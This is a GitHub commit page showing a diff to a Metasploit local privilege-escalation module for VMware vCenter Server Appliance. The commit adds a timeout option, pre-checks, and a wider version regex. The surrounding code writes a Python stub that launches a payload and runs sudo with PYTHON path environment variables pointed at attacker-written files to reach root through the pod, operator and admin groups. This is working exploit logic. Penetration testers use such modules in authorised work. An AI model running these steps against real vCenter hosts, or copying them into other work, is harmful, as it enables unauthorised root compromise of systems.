Skip to content

Commit

Permalink
peer review
Browse files Browse the repository at this point in the history
  • Loading branch information
h00die committed Dec 4, 2024
1 parent 0f6da56 commit bca3626
Showing 1 changed file with 15 additions and 8 deletions.
23 changes: 15 additions & 8 deletions modules/exploits/linux/local/vcenter_sudo_lpe.rb
Original file line number Diff line number Diff line change
Expand Up @@ -54,7 +54,8 @@ def initialize(info = {})
)
)
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
OptInt.new('TIMEOUT', [ true, 'Command timeout', 30 ])
]
end

Expand All @@ -68,7 +69,7 @@ def check
# VMware vCenter Server Appliance 6.5.0.0 Build 16197320
# we want to try to make this build number Rex::Version friendly. https://rubular.com/r/BNLDjy0C862cdS
# technically we only care about major release 7 and 8, however we'll try to future proof w/ \d instead
return CheckCode::Safe("Unable to determine vcenter build from output: #{vbuild}") unless /(\d\.\d\.\d) build[- ](\d+)/i =~ vbuild
return CheckCode::Safe("Unable to determine vcenter build from output: #{vbuild}") unless /(\d+\.\d+\.\d+) build[- ](\d+)/i =~ vbuild

vbuild_version = Rex::Version.new("#{Regexp.last_match(1)}.#{Regexp.last_match(2)}")

Expand Down Expand Up @@ -106,9 +107,8 @@ def exploit_operator_group
write_file(payload_stub, "import os\nos.system('#{payload_path}')\nquit()")
register_files_for_cleanup(payload_stub)

timeout = 30
print_status 'Launching exploit...'
output = cmd_exec "sudo PYTHONPATH=#{base_dir} #{vuln_exe}", nil, timeout
output = cmd_exec "sudo PYTHONPATH=#{base_dir} #{vuln_exe}", nil, datastore['TIMEOUT']
output.each_line { |line| vprint_status line.chomp }
end

Expand All @@ -128,9 +128,8 @@ def exploit_pod_user
write_file(payload_stub, "import os\nos.system('#{payload_path}')\nquit()")
register_files_for_cleanup(payload_stub)

timeout = 30
print_status 'Launching exploit...'
output = cmd_exec "sudo VMWARE_PYTHON_PATH=#{base_dir} install-parameter", nil, timeout
output = cmd_exec "sudo VMWARE_PYTHON_PATH=#{base_dir} install-parameter", nil, datastore['TIMEOUT']
output.each_line { |line| vprint_status line.chomp }
end

Expand All @@ -150,13 +149,19 @@ def exploit_admin_group
write_file(payload_stub, "import os\nos.system('#{payload_path}')\nquit()")
register_files_for_cleanup(payload_stub)

timeout = 30
print_status 'Launching exploit...'
output = cmd_exec "sudo VMWARE_PYTHON_BIN=#{payload_path} /bin/dcli", nil, timeout
output = cmd_exec "sudo VMWARE_PYTHON_BIN=#{payload_path} /bin/dcli", nil, datastore['TIMEOUT']
output.each_line { |line| vprint_status line.chomp }
end

def exploit
if !datastore['ForceExploit'] && is_root?
fail_with(Failure::None, 'Session already has root privileges. Set ForceExploit to override')
end
unless writable?(base_dir)
fail_with(Failure::BadConfig, "#{base_dir} is not writable")
end

@user = cmd_exec('whoami').chomp if @user.nil?
@groups = cmd_exec('groups').chomp.split(' ') if @groups.nil?
if @user == 'pod'
Expand All @@ -165,6 +170,8 @@ def exploit
exploit_operator_group
elsif @groups.include? 'admin'
exploit_admin_group
else
fail_with(Failure::BadConfig, "User not vulnerable or not in correct group. (#{@user}:#{@groups})")
end
end
end

0 comments on commit bca3626

Please sign in to comment.